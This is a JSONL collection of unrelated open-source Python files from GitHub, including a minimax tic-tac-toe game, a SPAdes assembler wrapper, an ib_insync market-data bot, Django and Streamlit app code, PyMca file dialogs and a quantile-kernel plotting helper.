{"seq_id":"1076455376","text":"#This is the drawing of the tic tac toe board a 2x2 array\r\n''' \r\n7  |  8  |  9\r\n--------------\r\n4  |  5  |  6\r\n--------------\r\n1  |  2  |  3\r\n\r\nTo insert in the grid replicate your\r\nnumber pad in the keyboard.\r\n'''\r\nboardStatus = [\r\n    [ '-', '-', '-' ], \r\n    [ '-', '-', '-' ], \r\n    [ '-', '-', '-' ] \r\n]\r\n\r\n# This function checks the best move for AI by calling minimax and places the best move in the boardStatus\r\ndef bestMoveForAi():\r\n  bestPoint = -1000\r\n  for i in range (3):\r\n    for j in range (3):\r\n      if (boardStatus[i][j] == '-'):\r\n        boardStatus[i][j] = 'X'\r\n        point = minimax(boardStatus, 0, False)\r\n        boardStatus[i][j] = '-'\r\n        if (point > bestPoint):\r\n          bestPoint = point\r\n          move = [i,j]\r\n  boardStatus[move[0]][move[1]] = 'X'\r\n  \r\n  print(\"---AI Move---\")\r\n  for i in range (3):\r\n    print(boardStatus[i])\r\n  print(\"\")\r\n  print(\"\")\r\n\r\n\r\n\r\n#This function checks if 3 values passed are same either 'X' or 'O'\r\ndef checkEqual3(a, b, c):\r\n  return a == b and b == c and a != '-'\r\n\r\n\r\n#This function checks if there is any winner and returns the sign of the winner\r\ndef checkForWinner():\r\n  winner = None\r\n\r\n  #checks if vertical has the same player\r\n  for i in range (3):\r\n    if (checkEqual3(boardStatus[i][0], boardStatus[i][1], boardStatus[i][2])):\r\n      winner = boardStatus[i][0]\r\n\r\n  #checks if horizontal has the same player\r\n  for i in range (3):\r\n    if (checkEqual3(boardStatus[0][i], boardStatus[1][i], boardStatus[2][i])):\r\n      winner = boardStatus[0][i]\r\n\r\n  #checks if the Diagonal has the same player\r\n  if (checkEqual3(boardStatus[0][0], boardStatus[1][1], boardStatus[2][2])):\r\n    winner = boardStatus[0][0]\r\n\r\n  if (checkEqual3(boardStatus[2][0], boardStatus[1][1], boardStatus[0][2])):\r\n    winner = boardStatus[2][0]\r\n\r\n  openSpots = 0\r\n  for i in range (3):\r\n    for j in range (3):\r\n      if (boardStatus[i][j] == '-'):\r\n        openSpots=openSpots+1\r\n\r\n  if (winner == None and openSpots == 0):\r\n    return 'tie'\r\n  else:\r\n    return winner\r\n\r\n\r\n\r\n#This the minimax algorithm which needs parameter boardStatus situation, depth and isMaximizing\r\n#This function returns the best possible point for the AI to judge the best move\r\ndef minimax(boardStatus, depth, isMaximizing):\r\n  result = checkForWinner()\r\n  if (result != None):    \r\n    if (result=='O'):\r\n      return -10+depth\r\n    elif (result=='X'):\r\n      return 10-depth\r\n    else:\r\n      return 0\r\n\r\n  if (isMaximizing):\r\n    bestPoint = -1000\r\n    for i in range (3):\r\n      for j in range (3):\r\n        if (boardStatus[i][j] == '-'):\r\n          boardStatus[i][j] = 'X'\r\n          point = minimax(boardStatus, depth + 1, False)\r\n          boardStatus[i][j] = '-'\r\n          bestPoint = max(point, bestPoint)\r\n    return bestPoint\r\n\r\n  else:\r\n    bestPoint = 1000\r\n    for i in range (3):\r\n      for j in range (3):\r\n        if (boardStatus[i][j] == '-'):\r\n          boardStatus[i][j] = 'O'\r\n          point = minimax(boardStatus, depth + 1, True)\r\n          boardStatus[i][j] = '-'\r\n          bestPoint = min(point, bestPoint)\r\n    return bestPoint\r\n\r\n\r\n\r\n#This is human turn where player is required to give input as per number pad to place 'O' in the boardStatus\r\ndef forHumanTurn():\r\n    moves = {\r\n        7: [0, 0], 8: [0, 1], 9: [0, 2],\r\n        4: [1, 0], 5: [1, 1], 6: [1, 2],\r\n        1: [2, 0], 2: [2, 1], 3: [2, 2],\r\n    }\r\n    move = input('Use numpad to enter (1..9): ')\r\n    if (move=='1' or move=='2' or move=='3' or move=='4' or move=='5' or move=='6' or move=='7' or move=='8' or move=='9'):\r\n      coordinates=moves[int(move)]\r\n      if(boardStatus[coordinates[0]][coordinates[1]]==\"-\"):\r\n        boardStatus[coordinates[0]][coordinates[1]]=\"O\"\r\n        print(\"---Your Move---\")\r\n\r\n        for i in range (3):\r\n          print(boardStatus[i])\r\n        print(\"\")\r\n        print(\"\")\r\n        if (checkForWinner()==None):\r\n          bestMoveForAi()\r\n      else:\r\n        print(\"-- That place is already taken choose another move : --\")\r\n        forHumanTurn()\r\n    else:\r\n      print(\"--       Please enter a correct input                --\")\r\n\r\n\r\n#This checks if the game is over or not\r\ndef checkIsGameOver():\r\n  won=checkForWinner()\r\n  if (won!=None):\r\n    if (won=='X' or won=='O'):\r\n      print(\"The winner is: \"+str(won)) \r\n      endFunction()\r\n    else:\r\n      print(\"Draw\")\r\n      endFunction()\r\n    return True\r\n  else: \r\n    return False\r\n\r\n\r\n\r\n#This is the ending function of the program\r\ndef endFunction():\r\n  print(\"--------------------------------------------------\")\r\n  print(\"|                                                |\")\r\n  print(\"|              The game ended !                  |\")\r\n  print(\"|        Type 'y' for yes and 'n' for no         |\")\r\n  print(\"|             Do you want to play again?         |\")\r\n  print(\"|                                                |\")\r\n  print(\"--------------------------------------------------\")\r\n  ans=input(\"\").upper()\r\n  if (ans==\"Y\"):\r\n    for i in range (3):\r\n      for j in range (3):\r\n        boardStatus[i][j]=\"-\"\r\n    main()\r\n  elif (ans==\"N\"):\r\n    print(\"|         Hope you enjoyed playing.              |\")\r\n  else:\r\n    print(\"|        Choose the correct option               |\")\r\n    endFunction()\r\n\r\n\r\n#This is the main method which runs when the program starts\r\ndef main():\r\n  print(\"--------------------------------------------------\")\r\n  print(\"|                                                |\")\r\n  print(\"|         You can win the game by making         |\")\r\n  print(\"|         3 of your playing sign in a row        |\")\r\n  print(\"|         horizontal, vertical or diagonal       |\")\r\n  print(\"|                                                |\")\r\n  print(\"--------------------------------------------------\")\r\n  print(\"\")\r\n  print(\"\")\r\n  print(\"--------------------------------------------------\")\r\n  print(\"|                                                |\")\r\n  print(\"|            'X' is AI.    'O' is human.         |\")\r\n  print(\"|       Do you want to go first or second        |\")\r\n  print(\"|     Type 1 to go first and 2 to go second      |\")\r\n  print(\"|                                                |\")\r\n  print(\"--------------------------------------------------\")\r\n  print(\"\")\r\n  turn = input(\" Enter here: \")\r\n  \r\n  if (turn==\"1\"):\r\n    print(\"\")\r\n    print(\"|        Follow the number pad tutorial.         |\")\r\n    print(\"|              7  |  8  |  9                     |\")\r\n    print(\"|              --------------                    |\")\r\n    print(\"|              4  |  5  |  6                     |\")\r\n    print(\"|              --------------                    |\")\r\n    print(\"|              1  |  2  |  3                     |\")\r\n    print(\"|                                                |\")\r\n    print(\"--------------------------------------------------\")\r\n    print(\"Press the number according to the place in the grid\")\r\n    for i in range (5):\r\n      forHumanTurn()\r\n      if (checkIsGameOver()):\r\n        break\r\n      \r\n  elif(turn==\"2\"): \r\n    print(\"\")\r\n    print(\"|        Follow the number pad tutorial.         |\")\r\n    print(\"|              7  |  8  |  9                     |\")\r\n    print(\"|              --------------                    |\")\r\n    print(\"|              4  |  5  |  6                     |\")\r\n    print(\"|              --------------                    |\")\r\n    print(\"|              1  |  2  |  3                     |\")\r\n    print(\"|                                                |\")\r\n    print(\"--------------------------------------------------\")\r\n    print(\"Press the number according to the place in the grid\")\r\n    bestMoveForAi()\r\n    if (not checkIsGameOver()):\r\n      for i in range (4):\r\n        forHumanTurn()\r\n        if (checkIsGameOver()):\r\n          break\r\n\r\n  else:\r\n    print(\"--------- Please choose correct option ----------\")\r\n    main()\r\n  \r\nmain()","repo_name":"Gurung-Manish/Tic-Tac-Toe","sub_path":"final tic-tac-toe.py","file_name":"final tic-tac-toe.py","file_ext":"py","file_size_in_byte":7864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29048917942","text":"\"\"\"SPAdes.\"\"\"\n\nfrom os import stat\n\nfrom kakapo.utils.subp import run, which\n\nPY3 = which('python3')\n\n\ndef run_spades_se(spades, out_dir, input_file, threads, memory, rna):\n\n    memory = str(memory).split('.')[0]\n\n    cmd = [spades,\n           '-o', out_dir,\n           '-s', input_file,\n           '--only-assembler',\n           '--threads', str(threads),\n           '--memory', memory,\n           '--phred-offset', '33']\n\n    if rna:\n        cmd.append('--rna')\n\n    cmd = [PY3] + cmd\n\n    run(cmd, do_not_raise=True)\n\n\ndef run_spades_pe(spades, out_dir, input_files, threads, memory, rna):\n\n    memory = str(memory).split('.')[0]\n\n    cmd = [spades,\n           '-o', out_dir,\n           '--only-assembler',\n           '--threads', str(threads),\n           '--memory', memory,\n           '--phred-offset', '33']\n\n    if stat(input_files[0]).st_size > 512 and stat(input_files[1]).st_size > 512:\n        cmd.append('--pe1-1')      # paired_1.fastq\n        cmd.append(input_files[0])\n        cmd.append('--pe1-2')      # paired_2.fastq\n        cmd.append(input_files[1])\n\n    if stat(input_files[2]).st_size > 512:  # unpaired_1.fastq\n        cmd.append('--s1')\n        cmd.append(input_files[2])\n\n    if stat(input_files[3]).st_size > 512:  # unpaired_2.fastq\n        cmd.append('--s2')\n        cmd.append(input_files[3])\n\n    if rna:\n        cmd.append('--rna')\n\n    cmd = [PY3] + cmd\n\n    run(cmd, do_not_raise=True)\n","repo_name":"karolisr/kakapo","sub_path":"kakapo/tools/spades.py","file_name":"spades.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
{"seq_id":"36852946879","text":"from ib_insync import *\nimport multiprocessing\nimport time\nfrom argparse import ArgumentParser\n\nclass Bot:\n    def __init__(self, data, args):\n        self.ib = IB()\n        self.data = data\n        self.ib.connect('127.0.0.1', 7497, clientId=1)\n        contracts = []\n        for con,sec,ex in zip(args['ticker'],args['security'],args['exchange']):\n            contracts.append(Contract(symbol=con, secType=sec, exchange=ex))\n        self.ib.pendingTickersEvent += self.onPendingTicker\n        self.market_data = [self.ib.reqMktData(contract,'',False,False) for contract in contracts]\n        self.ib.run()\n        \n    def onPendingTicker(self, tickers):\n        self.data['marketPrice'] = [x.marketPrice() for x in self.market_data]\n\ndef init_bot(data, args):\n    bot = Bot(data, args)\n\nif __name__ == '__main__':\n    parser = ArgumentParser()\n    parser.add_argument(\"-t\", \"--ticker\", help=\"Ticker code\", default='ADT')\n    parser.add_argument(\"-s\", \"--security\", help=\"Security type\", default='STK')\n    parser.add_argument(\"-e\", \"--exchange\", help=\"Exchange code\", default='ASX')\n    args = vars(parser.parse_args())\n    args['ticker'] = [x.upper() for x in args['ticker'].split(',')]\n    args['security'] = [x.upper() for x in args['security'].split(',')]\n    args['exchange'] = [x.upper() for x in args['exchange'].split(',')]\n    manager = multiprocessing.Manager()\n    data = manager.dict()\n    x = multiprocessing.Process(target=init_bot, args=[data, args])\n    x.start()\n    while True:\n        print(data)\n        time.sleep(2)\n\n# class Contract(secType: str='', conId: int=0, symbol: str='', lastTradeDateOrContractMonth: str='', strike: float=0.0, right: str='', multiplier: str='', exchange: str='', primaryExchange: str='', currency: str='', localSymbol: str='', tradingClass: str='', includeExpired: bool=False, secIdType: str='', secId: str='', comboLegsDescrip: str='', comboLegs: List['ComboLeg']=field(default_factory=list), deltaNeutralContract: Optional['DeltaNeutralContract']=None)\n# Contract(**kwargs) can create any contract using keyword arguments. To simplify working with contracts, there are also more specialized contracts that take optional positional arguments. Some examples\n\n# Contract(conId=270639)\n# Stock('AMD', 'SMART', 'USD')\n# Stock('INTC', 'SMART', 'USD', primaryExchange='NASDAQ')\n# Forex('EURUSD')\n# CFD('IBUS30')\n# Future('ES', '20180921', 'GLOBEX')\n# Option('SPY', '20170721', 240, 'C', 'SMART')\n# Bond(secIdType='ISIN', secId='US03076KAA60')\n# Crypto('BTC', 'PAXOS', 'USD')\n# Args: conId (int): The unique IB contract identifier. symbol (str): The contract (or its underlying) symbol. secType (str): The security type:\n\n# * 'STK' = Stock (or ETF)\n# * 'OPT' = Option\n# * 'FUT' = Future\n# * 'IND' = Index\n# * 'FOP' = Futures option\n# * 'CASH' = Forex pair\n# * 'CFD' = CFD\n# * 'BAG' = Combo\n# * 'WAR' = Warrant\n# * 'BOND' = Bond\n# * 'CMDTY' = Commodity\n# * 'NEWS' = News\n# * 'FUND' = Mutual fund\n# * 'CRYPTO' = Crypto currency\n","repo_name":"ZarredFelicite/ibkr-marketdata","sub_path":"ibkr3.py","file_name":"ibkr3.py","file_ext":"py","file_size_in_byte":2973,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"27888099674","text":"from django.forms import ModelForm\nfrom django import forms\nfrom .models import Cards\nfrom django.http import JsonResponse\n\nclass CreateCardForm(ModelForm):\n    text= forms.CharField(widget= forms.TextInput(attrs={'class': 'form-control', 'id': 'text'}))\n    desc= forms.CharField(widget=forms.TextInput(attrs={'class': 'form-control', 'id': 'desc'}))\n    class Meta:\n        model = Cards\n        fields = ('text', 'desc')\n\n    def save(self, request):\n        user = request.user\n        text = self.cleaned_data.get(\"text\")\n        desc = self.cleaned_data.get(\"desc\")\n\n        card = Cards.objects.create(\n            user=request.user,\n            username=request.user.username,\n            text=text,\n            desc=desc,\n        )\n\n        user.save()\n        data =  {\n            \"pk\": card.id,\n            \"fields\": {\n                \"text\": card.text,\n                \"desc\": card.desc,\n                \"username\": card.user.username,\n                },\n        }\n        return data","repo_name":"nyoosteven/proyek-tengah-semester","sub_path":"timeline/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25842416420","text":"import math\n\nn = int(input())\nfigury = []\ndef oblicz():\n    pola = []\n    for m in range(n):\n        m = map(float, input().split())\n        wymiary = list(m)\n        \n        if(len(wymiary) == 1):\n            kolo=math.pi * (wymiary[0]**2)\n            pola.append(kolo)\n\n        elif(len(wymiary) == 2):\n            prostokat=wymiary[0]*wymiary[1]\n            pola.append(prostokat)\n\n        elif(len(wymiary) == 3):\n            pol_obw = 0.5*(wymiary[0]+wymiary[1]+wymiary[2])\n            trojkat = math.sqrt(pol_obw*(pol_obw-wymiary[0])*(pol_obw-wymiary[1])*(pol_obw-wymiary[2]))\n            pola.append(trojkat)\n\n        elif(len(wymiary) >= 4):\n            print(\"Błąd: można podać maksymalnie 3 liczby\")\n            return\n\n    suma_pola = sum(pola)\n    suma_wsz_pol = round(suma_pola, 2)\n    print(suma_wsz_pol)\n        \noblicz()","repo_name":"uep-inz-opr/5_figury_funkcja-mlodygie","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18047888651","text":"__author__ = \"V.A. Sole - ESRF\"\n__contact__ = \"sole@esrf.fr\"\n__license__ = \"MIT\"\n__copyright__ = \"European Synchrotron Radiation Facility, Grenoble, France\"\nimport os\nfrom PyMca5.PyMcaGui import PyMcaQt as qt\nfrom PyMca5 import PyMcaDirs\nQTVERSION = qt.qVersion()\n\ndef getExistingDirectory(parent=None, message=None, mode=None, currentdir=None):\n    if message is None:\n        message = \"Please select a directory\"\n    if mode is None:\n        mode = \"OPEN\"\n    else:\n        mode = mode.upper()\n    if currentdir is None:\n        if mode == \"OPEN\":\n            wdir = PyMcaDirs.inputDir\n        else:\n            wdir = PyMcaDirs.outputDir\n    else:\n        wdir = currentdir\n    if PyMcaDirs.nativeFileDialogs:\n        outdir = qt.safe_str(qt.QFileDialog.getExistingDirectory(parent,\n                            message,\n                            wdir))\n    else:\n        outfile = qt.QFileDialog(parent)\n        outfile.setWindowTitle(\"Output Directory Selection\")\n        outfile.setModal(1)\n        outfile.setDirectory(wdir)\n        if hasattr(outfile, \"Directory\"):\n            outfile.setFileMode(outfile.Directory)\n            if hasattr(outfile, \"ShowDirsOnly\"):\n                outfile.setOption(outfile.ShowDirsOnly)\n        elif hasattr(outfile, \"DirectoryOnly\"):\n            outfile.setFileMode(outfile.DirectoryOnly)\n        else:\n            outfile.setFileMode(qt.QFileDialog.FileMode.Directory)\n        ret = outfile.exec()\n        if ret:\n            outdir = qt.safe_str(outfile.selectedFiles()[0])\n        else:\n            outdir = \"\"\n            outfile.close()\n            del outfile\n    if len(outdir):\n        if mode == \"OPEN\":\n            PyMcaDirs.inputDir = os.path.dirname(outdir)\n            if PyMcaDirs.outputDir is None:\n                PyMcaDirs.outputDir = os.path.dirname(outdir)\n        else:\n            PyMcaDirs.outputDir = os.path.dirname(outdir)\n            if PyMcaDirs.inputDir is None:\n                PyMcaDirs.inputDir = os.path.dirname(outdir)\n    return outdir\n\ndef getFileList(parent=None, filetypelist=None, message=None, currentdir=None,\n                mode=None, getfilter=None, single=False, currentfilter=None, native=None):\n    if filetypelist is None:\n        fileTypeList = ['All Files (*)']\n    else:\n        fileTypeList = filetypelist\n    if message is None:\n        if single:\n            message = \"Please select one file\"\n        else:\n            message = \"Please select one or more files\"\n    if mode is None:\n        mode = \"OPEN\"\n    else:\n        mode = mode.upper()\n    if currentdir is None:\n        if mode == \"OPEN\":\n            wdir = PyMcaDirs.inputDir\n        else:\n            wdir = PyMcaDirs.outputDir\n    else:\n        wdir = currentdir\n    if currentfilter is None:\n        if mode == \"OPEN\":\n            currentfilter = PyMcaDirs.openFilter\n        else:\n            currentfilter = PyMcaDirs.saveFilter\n        # it can still be None\n        if currentfilter is None:\n            currentfilter = fileTypeList[0]\n    if currentfilter not in fileTypeList:\n        currentfilter = fileTypeList[0]\n    if native is None:\n        nativeFileDialogs = PyMcaDirs.nativeFileDialogs\n    else:\n        nativeFileDialogs = native\n    if getfilter is None:\n        getfilter = False\n    if getfilter:\n        if QTVERSION < '4.5.1':\n            native_possible = False\n        else:\n            native_possible = True\n    else:\n        native_possible = True\n    filterused = None\n    if native_possible and nativeFileDialogs:\n        filetypes = currentfilter\n        for filetype in fileTypeList:\n            if filetype != currentfilter:\n                filetypes += \";;\" + filetype\n        if getfilter:\n            if mode == \"OPEN\":\n                if single and hasattr(qt.QFileDialog, \"getOpenFileNameAndFilter\"):\n                    filelist, filterused = qt.QFileDialog.getOpenFileNameAndFilter(parent,\n                        message,\n                        wdir,\n                        filetypes,\n                        currentfilter)\n                    filelist =[filelist]\n                elif single:\n                    # PyQt5\n                    filelist, filterused = qt.QFileDialog.getOpenFileName(parent,\n                        message,\n                        wdir,\n                        filetypes,\n                        currentfilter)\n                    filelist =[filelist]\n                elif hasattr(qt.QFileDialog, \"getOpenFileNamesAndFilter\"):\n                    filelist, filterused = qt.QFileDialog.getOpenFileNamesAndFilter(parent,\n                        message,\n                        wdir,\n                        filetypes,\n                        currentfilter)\n                else:\n                    # PyQt5\n                    filelist, filterused = qt.QFileDialog.getOpenFileNames(parent,\n                        message,\n                        wdir,\n                        filetypes,\n                        currentfilter)\n                filterused = qt.safe_str(filterused)\n            else:\n                if QTVERSION < '5.0.0':\n                    filelist = qt.QFileDialog.getSaveFileNameAndFilter(parent,\n                            message,\n                            wdir,\n                            filetypes)\n                else:\n                    filelist = qt.QFileDialog.getSaveFileName(parent,\n                            message,\n                            wdir,\n                            filetypes)\n                if len(filelist[0]):\n                    filterused = qt.safe_str(filelist[1])\n                    filelist=[filelist[0]]\n                else:\n                    filelist = []\n        else:\n            if mode == \"OPEN\":\n                if single:\n                    if QTVERSION < '5.0.0':\n                        filelist = [qt.QFileDialog.getOpenFileName(parent,\n                                message,\n                                wdir,\n                                filetypes)]\n                    else:\n                        filelist, filterused = qt.QFileDialog.getOpenFileName(parent,\n                                    message,\n                                    wdir,\n                                    filetypes)\n                        filelist = [filelist]\n                else:\n                    filelist = qt.QFileDialog.getOpenFileNames(parent,\n                            message,\n                            wdir,\n                            filetypes)\n            else:\n                if QTVERSION < '5.0.0':\n                    filelist = qt.QFileDialog.getSaveFileName(parent,\n                            message,\n                            wdir,\n                            filetypes)\n                else:\n                    filelist, filterused = qt.QFileDialog.getSaveFileName(parent,\n                                message,\n                                wdir,\n                                filetypes)\n                filelist = qt.safe_str(filelist)\n                if len(filelist):\n                    filelist = [filelist]\n                else:\n                    filelist = []\n        if not len(filelist):\n            if getfilter:\n                return [], filterused\n            else:\n                return []\n        elif filterused is None:\n            sample  = qt.safe_str(filelist[0])\n            for filetype in fileTypeList:\n                ftype = filetype.replace(\"(\", \"\")\n                ftype = ftype.replace(\")\", \"\")\n                extensions = ftype.split()[2:]\n                for extension in extensions:\n                    if sample.endswith(extension[-3:]):\n                        filterused = filetype\n                        break\n    else:\n        fdialog = qt.QFileDialog(parent)\n        fdialog.setModal(True)\n        fdialog.setWindowTitle(message)\n        if hasattr(qt, \"QStringList\"):\n            strlist = qt.QStringList()\n        else:\n            strlist = []\n        strlist.append(currentfilter)\n        for filetype in fileTypeList:\n            if filetype != currentfilter:\n                strlist.append(filetype)\n        if hasattr(fdialog, \"setFilters\"):\n            fdialog.setFilters(strlist)\n        else:\n            fdialog.setNameFilters(strlist)\n\n        if mode == \"OPEN\":\n            fdialog.setFileMode(qt.QFileDialog.FileMode.ExistingFiles)\n        else:\n            fdialog.setAcceptMode(qt.QFileDialog.AcceptMode.AcceptSave)\n            fdialog.setFileMode(qt.QFileDialog.FileMode.AnyFile)\n\n        fdialog.setDirectory(wdir)\n        if QTVERSION > '4.3.0':\n            history = fdialog.history()\n            if len(history) > 6:\n                fdialog.setHistory(history[-6:])\n        ret = fdialog.exec()\n        if ret != qt.QDialog.Accepted:\n            fdialog.close()\n            del fdialog\n            if getfilter:\n                return [], filterused\n            else:\n                return []\n        else:\n            filelist = fdialog.selectedFiles()\n            if single:\n                filelist = [filelist[0]]\n            if QTVERSION < \"5.0.0\":\n                filterused = qt.safe_str(fdialog.selectedFilter())\n            else:\n                filterused = qt.safe_str(fdialog.selectedNameFilter())\n            if mode != \"OPEN\":\n                if \".\" in filterused:\n                    extension = filterused.replace(\")\", \"\")\n                    if \"(\" in extension:\n                        extension = extension.split(\"(\")[-1]\n                    extensionList = extension.split()\n                    txt = qt.safe_str(filelist[0])\n                    for extension in extensionList:\n                        extension = extension.split(\".\")[-1]\n                        if extension != \"*\":\n                            txt = qt.safe_str(filelist[0])\n                            if txt.endswith(extension):\n                                break\n                            else:\n                                txt = txt+\".\"+extension\n                    filelist[0] = txt\n            fdialog.close()\n            del fdialog\n    filelist = [qt.safe_str(x) for x in filelist]\n    if filelist:\n        if mode == \"OPEN\":\n            PyMcaDirs.inputDir = os.path.dirname(filelist[0])\n            if PyMcaDirs.outputDir is None:\n                PyMcaDirs.outputDir = os.path.dirname(filelist[0])\n        else:\n            PyMcaDirs.outputDir = os.path.dirname(filelist[0])\n            if PyMcaDirs.inputDir is None:\n                PyMcaDirs.inputDir = os.path.dirname(filelist[0])\n    #do not sort file list in order to allow the user other choices\n    #filelist.sort()\n    if getfilter:\n        if mode == \"OPEN\":\n            PyMcaDirs.openFilter = filterused\n            if PyMcaDirs.saveFilter is None:\n                PyMcaDirs.saveFilter = filterused\n        else:\n            PyMcaDirs.saveFilter = filterused\n            if PyMcaDirs.openFilter is None:\n                PyMcaDirs.openFilter = filterused\n        return filelist, filterused\n    else:\n        return filelist\n\nif __name__ == \"__main__\":\n    app = qt.QApplication([])\n    fileTypeList = ['PNG Files (*.png *.jpg)', 'TIFF Files (*.tif *.tiff)']\n    print(getExistingDirectory())\n    PyMcaDirs.nativeFileDialogs = False\n    print(getExistingDirectory())\n    PyMcaDirs.nativeFileDialogs = True\n    print(getFileList(parent=None,\n                      filetypelist=fileTypeList,\n                      message=\"Please select a file\",\n                      mode=\"SAVE\",\n                      getfilter=True,\n                      single=True))\n    PyMcaDirs.nativeFileDialogs = False\n    print(getFileList(parent=None,\n                      filetypelist=fileTypeList,\n                      message=\"Please select input files\",\n                      mode=\"OPEN\",\n                      getfilter=True,\n                      currentfilter='TIFF Files (*.tif *.tiff)',\n                      single=False))\n    print(\"Last INPUT directory <%s>\" % PyMcaDirs.inputDir)\n    print(\"Last OPEN filter <%s>\" % PyMcaDirs.openFilter)\n    print(\"Last OUTPUT directory <%s>\" % PyMcaDirs.outputDir)\n    print(\"Last SAVE filter <%s>\" % PyMcaDirs.saveFilter)\n    #app.exec()\n","repo_name":"vasole/pymca","sub_path":"PyMca5/PyMcaGui/io/PyMcaFileDialogs.py","file_name":"PyMcaFileDialogs.py","file_ext":"py","file_size_in_byte":12135,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"35"}
{"seq_id":"43957277350","text":"import numpy as np\nimport scipy.stats\nimport matplotlib.pylab as plt\n\nfrom bbq.interpolate import InterpWithAsymptotes\n\n\ndef plot_2d(all_params, all_scores, best_model, qp, X, Y, train_x, train_y):\n    \"\"\"\n    Handy function for plotting learned model and dataset when using 2\n    parameters.\n    :param all_params: all parameters\n    :param all_scores: scores for all parameters\n    :param best_model: model trained with best parameters\n    :param qp: quantile parametrisation\n    :param X: first dimension of parameter meshgrid\n    :param Y: second dimension of parameter meshgrid\n    :param train_x: training dataset inputs\n    :param train_y: training dataset targets\n    \"\"\"\n    i_max = np.argmax(all_scores)\n    cur_params = all_params[i_max, :]\n    best_param = qp.scale_params(cur_params)\n    print(\"Best quantile parameters: {}\".format(best_param))\n    qmcf_bbq = best_model.k_phi.f_dict[\"bbq\"]\n    plotLin = np.linspace(-5, 5, 1000)\n    phi_bbq = qmcf_bbq.transform(x=plotLin.reshape(-1, 1))\n    K_bbq_reconstructed = np.dot(phi_bbq, phi_bbq.T)\n    gram_slice = np.hstack((K_bbq_reconstructed[:-1, 0][::-1],\n                            K_bbq_reconstructed[0, :]))\n\n    # Compute best data fit\n    linFit = np.linspace(-1.0, 2.0, 1000)\n    prediction = best_model.predict(linFit.reshape(-1, 1))\n\n    # Plot score map\n    plt.figure(figsize=(18, 8))\n    plt.subplot(2, 2, 1)\n    Z = np.hstack([X.reshape(-1, 1), Y.reshape(-1, 1)])\n    scaledZ = qp.scale_params(Z)\n    scaledX = scaledZ[:, 0].reshape(X.shape)\n    scaledY = scaledZ[:, 1].reshape(Y.shape)\n    cs = plt.contourf(scaledX, scaledY, -all_scores.reshape(X.shape), 64)\n    for c in cs.collections:\n        c.set_edgecolor(\"face\")\n    plt.plot(best_param[0], best_param[1], \"r*\")\n    plt.colorbar(cs)\n    plt.xlabel(\"param 0\")\n    plt.ylabel(\"param 1\")\n    plt.title(\"BLR score for two params (red is best argmax)\")\n\n    # Plot quantile function\n    plt.subplot(2, 2, 2)\n    x, y, params = qp.gen_params(best_param)\n    bbq_qf = InterpWithAsymptotes(x=x, y=y, interpolator=qp.interpolator,\n                                  params=params)\n    lin = np.linspace(0, 1, 1000)\n    plt.plot(lin, scipy.stats.norm.ppf(lin), 'r', alpha=0.2,\n             label='quantile norm')\n    plt.plot(lin, bbq_qf(lin), 'b', label='learned quantile')\n    plt.plot(x, y, 'ro')\n    plt.xlim(0, 1)\n    plt.ylim(y[0] - 0.2 * abs(y[0]), y[-1] + 0.2 * abs(y[-1]))\n    plt.legend(loc=2)\n    plt.title(\"Best quantile\")\n\n    # Plot reconstructed kernel\n    plt.subplot(2, 2, 3)\n    plt.plot(range(len(gram_slice)), gram_slice)\n    plt.xlim(0, len(gram_slice))\n    plt.title(\"Gramm slice\")\n\n    # Plot data fit\n    plt.subplot(2, 2, 4)\n    plt.plot(train_x, train_y, 'r*', label=\"train data\")\n    plt.plot(linFit, prediction.mean, 'b-', label=\"prediction\")\n    plt.fill_between(linFit.reshape(-1),\n                     (prediction.mean - 1.0 * prediction.var).reshape(-1),\n                     (prediction.mean + 1.0 * prediction.var).reshape(-1),\n                     alpha=0.3, label=\"predictive variance\")\n    plt.xlim(linFit[0], linFit[-1])\n    plt.ylim(np.min(train_y) - .2, np.max(train_y) + .2)\n    plt.title(\"Data fit with score {}\".format(all_scores[i_max]))\n    plt.legend(loc=2)\n    # plt.savefig('fig.pdf', dpi=300, format='pdf')\n    plt.show()\n","repo_name":"MushroomHunting/black-box-quantile-kernels","sub_path":"bbq_numpy/bbq/examples/utils/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":3294,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"44799973616","text":"from typing import Any, Dict\n\nimport streamlit as st\nfrom yaoya.exceptions import YaoyaError\nfrom yaoya.models.user import User\nfrom yaoya.sesseion import StreamlitSessionManager\n\n\nclass BasePage:\n    def __init__(self, page_id: str, title: str) -> None:\n        self.page_id = page_id\n        self.title = title\n\n    def render(self, user_name_box: Any) -> None:\n        pass\n\n\nclass MultiPageApp:\n    def __init__(self, ssm: StreamlitSessionManager, nav_label: str = \"ページ一覧\") -> None:\n        self.pages: Dict[str, BasePage] = dict()\n        self.ssm = ssm\n        self.nav_label = nav_label\n\n    def add_page(self, page: BasePage) -> None:\n        self.pages[page.page_id] = page\n\n    def render(self) -> None:\n        current_user: User = self.ssm.get(\"user\")\n        user_name_box = st.sidebar.text(f\"ユーザ名: {current_user.name}\")\n        page_id = st.sidebar.selectbox(\n            self.nav_label,\n            list(self.pages.keys()),\n            format_func=lambda page_id: self.pages[page_id].title,\n        )\n        try:\n            self.pages[page_id].render(user_name_box)\n        except YaoyaError as e:\n            st.error(e)\n","repo_name":"krkettle57/yaoya","sub_path":"yaoya/pages/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
